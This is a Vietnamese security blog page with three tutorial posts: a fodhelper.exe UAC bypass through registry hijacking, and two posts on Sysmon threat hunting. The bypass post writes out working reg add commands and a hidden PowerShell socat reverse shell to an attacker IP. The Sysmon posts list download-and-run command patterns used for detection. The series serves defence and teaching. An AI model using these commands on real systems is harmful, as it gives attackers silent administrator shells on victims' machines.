Sysmon on Roduygo | Blog

Kỹ thuật UAC Bypass

Fri, 08 May 2026 12:00:00 +0700

Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS & SOC Analytics! Hôm nay, chúng ta đã tìm hiểu UAC là “người gác cổng” tuyệt vời với cơ chế Secure Desktop và Integrity Levels. Tuy nhiên, không có hệ thống nào là bất khả xâm phạm. Hôm nay, chúng ta sẽ trực tiếp đóng vai Hacker, lợi dụng chính những tính năng “tiện lợi” do Microsoft thiết kế để vượt mặt UAC một cách im lặng tuyệt đối (UAC Bypass), đồng thời học cách Blue Team “bắt tại htrận” ành vi này bằng Sysmon.

1. “Gót chân Achilles” của UAC: Tính năng AutoElevation

Để tránh làm phiền người dùng với quá nhiều bảng thông báo Yes/No, Microsoft đã thiết kế một tính năng gọi là Tự động nâng quyền (AutoElevation). Một số tệp thực thi cốt lõi của Windows (như msconfig.exe hay fodhelper.exe) được khai báo cờ autoElevate bên trong tệp kê khai (manifest) của chúng. Khi những phần mềm này chạy, Windows tự động cấp cho chúng quyền Cao nhất (High Integrity) mà không thèm hiện bảng hỏi UAC.

Hacker cực kỳ thích điều này. Nếu chúng có thể “bám đuôi” hoặc lừa một tiến trình autoElevate chạy mã độc hộ mình, mã độc đó sẽ nghiễm nhiên được kế thừa quyền High Integrity.

Tại sao lại là Fodhelper.exe? Fodhelper.exe là một chương trình mặc định của Windows dùng để quản lý các tính năng tùy chọn (như thêm ngôn ngữ). Nó có cờ autoElevate. Nhưng điểm khiến fodhelper.exe trở thành “con mồi” hoàn hảo là: Không giống như msconfig cần phải mở giao diện đồ họa (GUI), fodhelper có thể bị lạm dụng thông qua một giao diện dòng lệnh (CLI) ngầm từ xa với quyền trung bình (Medium Integrity).

2. Cơ chế “Ký sinh”: Registry Hijacking

Điểm yếu chí mạng của fodhelper.exe nằm ở cách nó tìm kiếm ứng dụng để mở. Khi hoạt động, tiến trình này sẽ liên tục quét vào Registry để tìm một khóa cụ thể liên quan đến giao thức ms-settings (URL Protocol mở cửa sổ Settings của Windows).

Đường dẫn mà fodhelper tìm kiếm là: HKCU\Software\Classes\ms-settings\Shell\Open\command

Lỗ hổng nằm ở đâu? Đường dẫn này nằm trong nhánh HKEY_CURRENT_USER (HKCU). Đây là nhánh cấu hình riêng của người dùng hiện tại, do đó không cần quyền Admin vẫn có thể ghi đè vào đây. Hacker (đang ở quyền Medium) chỉ cần ghi đường dẫn mã độc của chúng vào khóa này, sau đó kích hoạt fodhelper.exe. Tiến trình này tự động được nâng lên quyền High Integrity, sau đó nó ngây thơ đọc Registry và chạy mã độc của hacker với quyền lực tối cao.

3. Thực chiến: Đóng vai Hacker lách luật UAC

Bây giờ, chúng ta sẽ thực hiện kịch bản tấn công: Tạo một Reverse Shell (kết nối ngược) về máy chủ của hacker (ví dụ: máy Kali Linux có IP 10.48.95.226) bằng công cụ socat.

Tại cửa sổ CMD quyền thấp (Medium Integrity) trên máy nạn nhân, hacker thực hiện các lệnh sau:

Bước 1: Thiết lập biến môi trường và Tải trọng (Payload)

:: Trỏ đến vị trí Registry mà Fodhelper sẽ đọc
set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command

:: Thiết lập mã độc: Dùng PowerShell chạy ẩn công cụ socat để mở cổng 4444 kết nối về máy Hacker
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:10.48.95.226:4444 EXEC:cmd.exe,pipes"

[Ghi chú: Lệnh trên thiết lập mã độc kết nối về IP của Hacker thông qua cổng 4444]

Bước 2: Chìa khóa “DelegateExecute” (Đặt bẫy)

Đây là thủ thuật qua mặt hệ thống tinh vi nhất. Hacker chạy lệnh sau:

reg add %REG_KEY% /v "DelegateExecute" /d "" /f

Lệnh này tạo một giá trị tên là DelegateExecute nhưng để trống. Việc tạo giá trị này nhằm tắt cơ chế COM object chuẩn của Windows (chỉ định mã CLSID), buộc fodhelper phải quay lại đọc giá trị “Mặc định” (Default) của khóa command. Nếu thiếu dòng này, kỹ thuật Bypass sẽ thất bại.

Bước 3: Ghi mã độc và Kích hoạt

:: Ghi đè mã độc vào giá trị mặc định của khóa Registry
reg add %REG_KEY% /d %CMD% /f

:: Khởi chạy fodhelper để nó "cắn câu"
C:\Windows\System32\fodhelper.exe

Ngay khi fodhelper.exe chạy, nó đọc Registry, thấy DelegateExecute trống, bèn gọi lệnh socat. Tại máy Kali Linux đang mở cổng lắng nghe (nc -lvp 4444), Hacker nhận được một Shell với quyền Administrator cao nhất mà màn hình nạn nhân không hề chớp nháy hay hiện bảng UAC nào!

[Ghi chú: Chèn ảnh minh họa cửa sổ Netcat bên máy Kali Linux nhận được kết nối Reverse Shell từ máy Windows vào đây]

4. Góc nhìn SOC: “Bắt tại trận” bằng Sysmon

Hacker có thể qua mặt được UAC, nhưng không thể vô hình trước “mắt thần” Sysmon. Khi kịch bản UAC Bypass via Registry Hijacking này xảy ra, hệ thống Sysmon sẽ nổ ra một chuỗi cảnh báo (Alert) liên tục:

4.1 Bắt quả tang hành vi sửa Registry (Event ID 12 & 13)

Vì hacker phải tạo khóa và ghi giá trị vào Registry, Sysmon sẽ ghi nhận:

Event ID 12 (Registry object added): Ghi nhận việc nhánh ms-settings\Shell\Open\command vừa được tạo mới.
Event ID 13 (Registry value set): Ghi nhận việc một tiến trình lạ vừa đặt giá trị DelegateExecute và chèn mã lệnh powershell... socat... vào Registry.

4.2 Bắt quả tang tiến trình con bất thường (Event ID 1)

Event ID 1 (Process Create) là chốt chặn cuối cùng. Khi xem log, SOC Analyst sẽ thấy một chuỗi logic cực kỳ đáng ngờ:

Tiến trình cha (ParentImage): Là C:\Windows\System32\fodhelper.exe (chạy với IntegrityLevel: High).
Tiến trình con (Image): Lại là powershell.exe hoặc socat.exe.

Một phần mềm quản lý cài đặt ngôn ngữ (fodhelper.exe) lại đi gọi powershell.exe chạy ẩn để gọi tiếp socat.exe kết nối ra IP bên ngoài qua cổng 4444? Đây là dấu hiệu 100% của việc lạm dụng tiến trình hệ thống để leo thang đặc quyền!

Bypass UAC thông qua Fodhelper.exe và Registry Hijacking là một kỹ thuật kinh điển nhưng vẫn vô cùng hiệu quả, minh chứng cho việc hacker biến chính “tính năng” tiện lợi của Windows thành “vũ khí”. Việc hiểu sâu cơ chế này kết hợp với khả năng phân tích Event ID của Sysmon sẽ giúp bạn viết ra những tập luật (Rule) SIEM cực kỳ sắc bén. Ở các bài viết tiếp theo, chúng ta sẽ chính thức bước vào phân tích Network Forensics và cách giải mã các gói tin độc hại. Hãy cùng chờ đón nhé!

Sysmon (Phần 1)

Fri, 08 May 2026 12:00:00 +0700

Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS & SOC Analytics! Ở các bài viết trước, chúng ta đã học cách đọc nhật ký hệ thống (Event Logs) mặc định của Windows. Nhưng trong thực tế chiến đấu, các hacker ngày càng tinh vi, chúng thừa sức qua mặt những log cơ bản này. Đó là lúc các chuyên gia SOC phải viện đến “vũ khí hạng nặng”: Sysmon (System Monitor). Hôm nay, chúng ta sẽ đi sâu vào hướng dẫn cài đặt tư duy giám sát Sysmon, mở đầu bằng việc “mổ xẻ” quá trình sinh tiến trình (Process Creation) và cách dùng mã Hash để lột mặt nạ mã độc.

1. Sysmon là gì? Tại sao Windows Event Logs mặc định là chưa đủ?

Sysmon là một công cụ miễn phí cực kỳ mạnh mẽ thuộc bộ phần mềm Microsoft Sysinternals. Đối với giới bảo mật, Sysmon đã trở thành tiêu chuẩn vàng cho việc giám sát nâng cao.

Hãy làm một phép so sánh thực tế khi một phần mềm được mở lên:

Windows Event ID 4688 (Mặc định): Chỉ cho bạn biết “Ai đó vừa chạy một tiến trình mới” (ví dụ: cmd.exe vừa được chạy bởi Administrator).
Sysmon Event ID 1 (Process Creation): Không chỉ nói cho bạn biết file nào vừa chạy, mà nó còn cung cấp dấu vân tay (Mã Hash) của file đó, cho biết chính xác tiến trình nào đã gọi nó ra (Parent Image), và thậm chí là lệnh (Command Line) chi tiết đã được gõ vào.

Tóm lại: Windows EID 4688 cho biết “ai chạy”, còn Sysmon EID 1 cho biết “vân tay” của kẻ đó. Nếu không có mã Hash, bạn sẽ gần như “mù” trước các kỹ thuật đổi tên ngụy trang của Hacker.

2. Giải phẫu chi tiết Sysmon Event ID 1

Khi Sysmon Event ID 1 nổ ra, nó cung cấp cho SOC Analyst một bức tranh toàn cảnh không thể chối cãi. Hãy cùng “soi” vào các trường dữ liệu sinh tử của nó:

2.1 Thông tin định danh (Process Info)

ProcessId: Số định danh tiến trình trong hệ thống.
Image: Đường dẫn vật lý của file thực thi trên ổ cứng (VD: C:\Windows\System32\cmd.exe).
CommandLine: Ghi lại chính xác từng chữ mà kẻ tấn công đã gõ vào lệnh.

2.2 Nguồn gốc khởi tạo (Parent Info)

Mã độc hiếm khi tự nhiên sinh ra. Nó luôn được một thứ gì đó gọi ra.

ParentImage: Đây là tiến trình cha. Việc nhìn vào tiến trình cha giúp bạn biết lệnh này do người dùng click chuột mở (như từ explorer.exe) hay bị gọi ngầm bởi một đoạn mã độc.

2.3 Dấu vân tay của tệp (Binary Info)

Hashes: Sysmon sẽ tự động tính toán mã Hash (như MD5, SHA256) của file thực thi ngay khi nó chạy. Đây là tính năng “đáng tiền” nhất của Sysmon.

3. “Bắt thóp” Mã độc: Kỹ năng Threat Hunting thực chiến

Với các thông tin từ Sysmon EID 1, làm sao để phát hiện bất thường? Đừng tìm kiếm ngẫu nhiên, hãy bám vào 3 dấu hiệu (Red Flags) sau:

Kỹ thuật 1: Lột mặt nạ ngụy trang (Masquerading) bằng mã Hash

Hacker hiểu rằng nếu chạy một file có tên virus_an_cap.exe, chúng sẽ bị tóm ngay. Vì thế, chúng thường đổi tên mã độc thành các tiến trình hệ thống chuẩn như cmd.exe, svchost.exe hay lsass.exe.

Tuy nhiên, dù tên file có đổi, mã Hash thì không bao giờ thay đổi. Khi Sysmon ghi lại mã SHA256 của tiến trình cmd.exe giả mạo đó, bạn chỉ cần ném mã Hash đó lên VirusTotal. Mã Hash sẽ lập tức “tố cáo” đó là một file độc hại chứ không phải file chuẩn của Microsoft.

Kỹ thuật 2: Phân tích Phả hệ Tiến trình (Parent-Child Anomalies)

Đây là kỹ năng “nhìn thấu” logic hoạt động của hệ thống. Những tiến trình cha - con sau đây là cực kỳ phi logic và chắc chắn là mã độc:

WINWORD.EXE (Microsoft Word) sinh ra powershell.exe hoặc cmd.exe: Rất có thể một nhân viên vừa mở file Word chứa mã độc Macro, và nó đang gọi lệnh tải virus về máy.
notepad.exe sinh ra cmd.exe: Notepad chỉ là phần mềm gõ văn bản, nó tuyệt đối không có lý do gì để gọi cửa sổ dòng lệnh.

Kỹ thuật 3: Truy vết các đường dẫn và câu lệnh đáng ngờ

Bạn cần cấu hình SIEM (hoặc viết script PowerShell) báo động ngay lập tức nếu tiến trình (Image) được chạy từ các thư mục trú ẩn quen thuộc của malware như:

C:\Users\*\AppData\Local\Temp\
C:\Users\Public\

Bên cạnh đó, hãy soi kỹ trường CommandLine. Hacker thường dùng các lệnh sau để tải mã độc thẳng vào RAM hoặc giải mã script:

-EncodedCommand (Chạy mã PowerShell đã mã hóa Base64)
IEX (New-Object Net.WebClient) (Lệnh tải file từ Internet)
certutil -urlcache hoặc bitsadmin /transfer (Lợi dụng phần mềm có sẵn của Windows để tải virus)

4. Thực hành truy vấn Sysmon bằng PowerShell

Thay vì click chuột mỏi tay trong Event Viewer, các Threat Hunter thường dùng PowerShell để săn lùng (Hunting) dấu vết tiến trình độc hại. Dưới đây là đoạn code mẫu giúp bạn trích xuất tất cả các lần powershell.exe được gọi ra bởi thư mục Temp:

# Truy vấn Sysmon Event ID 1 (Process Create)
$Query = "*[System[EventID=1]]"

# Lọc các sự kiện có Image là powershell và ParentImage nằm trong thư mục Temp
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath $Query | 
 Where-Object {
 $_.Message -match "Image: .*powershell\.exe" -and 
 $_.Message -match "ParentImage: .*\\Temp\\.*"
 } | Format-List TimeCreated, Message

Bằng cách tận dụng Sysmon Event ID 1, bạn đã bịt được lỗ hổng khổng lồ của Event Viewer mặc định. Mã Hash và Cây tiến trình (Parent-Child) chính là hai thanh gươm sắc bén nhất để lột mặt nạ mọi loại mã độc ngụy trang. Trong bài viết tới (Phần 2), chúng ta sẽ tiếp tục đi sâu vào các Event ID khác của Sysmon (EID 3, 10, 11) để truy vết mã độc tàng hình (Fileless Malware) và hành vi ăn cắp mật khẩu. Hẹn gặp lại các bạn!

Sysmon (Phần 2)

Fri, 08 May 2026 12:00:00 +0700

Chào mừng các bạn quay trở lại với Phần 2 của loạt bài về Sysmon trong Series Giải phẫu Windows OS & SOC Analytics! Ở phần trước, chúng ta đã dùng Event ID 1 để “bắt thóp” mã độc dựa vào mã Hash. Nhưng nếu mã độc không tồn tại dưới dạng file trên ổ cứng thì sao? Nếu chúng chạy thẳng trên RAM, hoặc âm thầm chọc ngoáy vào tiến trình hệ thống để ăn cắp mật khẩu? Hôm nay, chúng ta sẽ mở khóa sức mạnh thực sự của Sysmon với bộ 3 Event ID sinh tử: 3, 10 và 11 để chống lại những kỹ thuật lẩn tránh (Evasion) tinh vi nhất.

1. Event ID 10 (Process Access): “Kính lúp” soi bộ nhớ và Fileless Malware

Trong hệ điều hành Windows, các tiến trình (Process) vốn dĩ nằm trong các không gian bộ nhớ biệt lập. Tuy nhiên, mã độc thường xuyên tìm cách “chọc” vào vùng nhớ của các tiến trình hệ thống hợp lệ để ăn cắp dữ liệu hoặc tiêm mã độc (Process Injection) nhằm che giấu hành vi.

Đây là lúc Sysmon Event ID 10 (Process Access) tỏa sáng. Trong khi Windows mặc định dùng Event ID 4656 nhưng rất khó cấu hình, Sysmon EID 10 cung cấp bức tranh rõ nét về việc tiến trình nào đang đòi quyền truy cập vào tiến trình nào.

Đặc biệt, EID 10 là “khắc tinh” của hai hành vi sau:

Dump mật khẩu LSASS: Hacker thường nhắm vào tiến trình lsass.exe để trích xuất mật khẩu. EID 10 sẽ cảnh báo ngay nếu một file lạ xin quyền truy cập vào lsass.exe.
Tiêm mã độc vào RAM (Kỹ thuật tàng hình/Fileless): Dưới đây là một ví dụ thực chiến từ log Sysmon:

Source Image: C:\Users\sarah.miller\Downloads\ckjg.exe
Target Image: C:\Windows\System32\Wbem\wmic.exe
Granted Access: 0x1FFFFF
CallTrace: C:\Windows\SYSTEM32\ntdll.dll+...|UNKNOWN(00007FF7CE73CB77)

Phân tích góc nhìn SOC:

Một file có tên ngẫu nhiên ckjg.exe tải về từ thư mục Downloads lại đi chọc vào công cụ quản lý hệ thống wmic.exe của Windows.
Quyền truy cập là 0x1FFFFF (Full Access) – một quyền tối thượng cực kỳ đáng ngờ.
Đáng chú ý nhất là trường CallTrace. Nó hiển thị chuỗi thư viện được gọi, nhưng ở đoạn cuối lại xuất hiện vùng nhớ UNKNOWN(00007FF7CE73CB77). Điều này cho thấy mã thực thi đang chạy ở một vùng nhớ không xác định, một dấu hiệu kinh điển của việc mã độc giải nén (unpack) shellcode trực tiếp vào RAM để né phần mềm diệt virus quét file vật lý.

2. Event ID 11 (File Creation): Theo dấu các điểm neo Persistence

Hacker có thể chạy mã độc trên RAM, nhưng để duy trì sự hiện diện (Persistence) qua những lần khởi động lại máy, chúng buộc phải để lại một thứ gì đó trên ổ đĩa. Thay vì cấu hình Audit Object Access phức tạp để lấy Event ID 4663 của Windows, Sysmon Event ID 11 mặc định ghi lại toàn bộ các file thực thi được tạo ra.

Dựa vào tiến trình đáng ngờ ckjg.exe ở trên, nếu ta tra cứu tiếp Event ID 11, ta sẽ bắt được ngay hành động giấu file của nó:

ProcessId: 1460
Image: C:\Users\sarah.miller\Downloads\ckjg.exe
TargetFilename: C:\Users\sarah.miller\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Chỉ với một log duy nhất, Sysmon EID 11 đã vạch trần việc mã độc vừa âm thầm tạo một file khởi động tên là DeleteApp.url nhét thẳng vào thư mục Startup của người dùng để kích hoạt cùng hệ thống.

3. Event ID 3 (Network Connection): Bắt tại trận Reverse Shell

Mã độc lấy cắp dữ liệu xong thì phải gửi ra ngoài, hoặc nó cần kết nối về máy chủ C2 (Command & Control) để nhận lệnh.

Nhật ký tường lửa mặc định của Windows (EID 5156) thường sinh ra quá nhiều “rác” (noise), nhưng Sysmon Event ID 3 lại là một tuyệt tác vì nó gắn trực tiếp kết nối mạng đó với một tiến trình cụ thể.

Khi soi tiếp tiến trình ckjg.exe bằng EID 3, ta thu được:

Protocol: tcp
Source IP: 10.10.57.125 (Máy nạn nhân)
Destination IP: 193.46.217.4
Destination Port: 7777

[Mẹo SOC]: Cổng 7777 thường không phải là cổng dịch vụ chuẩn. Sự kết hợp giữa một tiến trình rác trong thư mục Downloads, thực hiện Process Injection (EID 10), thả file vào Startup (EID 11) và mở cổng TCP ra IP bên ngoài (EID 3) là một bằng chứng 100% về một cuộc tấn công Reverse Shell đang diễn ra.

4. Đối đối phó với Timestomping và Fileless nâng cao

4.1 Timestomping (Giả mạo thời gian)

Trong quá trình điều tra Forensics, timeline là yếu tố sống còn. Để đánh lừa các nhà phân tích, hacker sử dụng kỹ thuật Timestomping – dùng công cụ sửa đổi ngày tạo (Creation Time) của mã độc lùi về quá khứ để trông giống như một tệp hệ thống đã tồn tại từ lâu.

Ví dụ, trong một ổ đĩa FAT32 bị điều tra, ta có thể thấy một file install.txt có thời gian truy cập cuối (Accessed Time) là năm 2018, nhưng thời gian tạo (Created Time) lại là năm 2025. Đây là dấu vết thao túng thời gian rõ rệt.

Để bắt được hành vi này ngay lập tức, ta sử dụng Sysmon Event ID 2. Nếu Windows Event ID 4670 chỉ đơn thuần ghi nhận thay đổi quyền/thuộc tính, thì Sysmon EID 2 được thiết kế đặc biệt để phát hiện và cảnh báo ngay khi có kẻ cố tình sửa đổi thời gian tạo của tệp tin.

4.2 Giám sát Fileless qua PowerShell (Event ID 4104)

Khi nói đến mã độc không để lại file, PowerShell là công cụ bị lạm dụng nhiều nhất. Hacker sẽ truyền các chuỗi lệnh đã mã hóa Base64 thẳng vào RAM. Nếu chỉ nhìn Sysmon EID 1, bạn sẽ chỉ thấy câu lệnh powershell -encodedCommand ... vô nghĩa.

Để đối phó, SOC Analyst phải bật tính năng Script Block Logging (Event ID 4104) trong nhánh Microsoft-Windows-PowerShell/Operational. Ngay cả khi hacker mã hóa code, PowerShell bắt buộc phải tự giải mã nó trên RAM để thực thi. Lúc này, EID 4104 sẽ chộp lại và lưu trữ toàn bộ nội dung code dạng nguyên bản (clear-text).

Bạn cũng có thể theo dõi Event ID 4103 (Module Logging) để xem chính xác các tham số và biến số (Parameter Binding) nào đã được nạp vào, giúp truy vết tận gốc nguồn tài nguyên độc hại.

Bằng cách kết hợp Sysmon (EID 3, 10, 11) cùng các nhật ký giám sát PowerShell, bạn đã dựng lên một lưới điện an ninh dày đặc. Mã độc có thể đổi tên, giấu file, giả mạo thời gian hay chạy trên RAM, nhưng chúng không bao giờ có thể xóa bỏ hoàn toàn những chuỗi hành vi logic mà chúng tạo ra trên hệ điều hành. Chúc các bạn áp dụng hiệu quả vào hệ thống SIEM của mình để trở thành một Threat Hunter xuất sắc!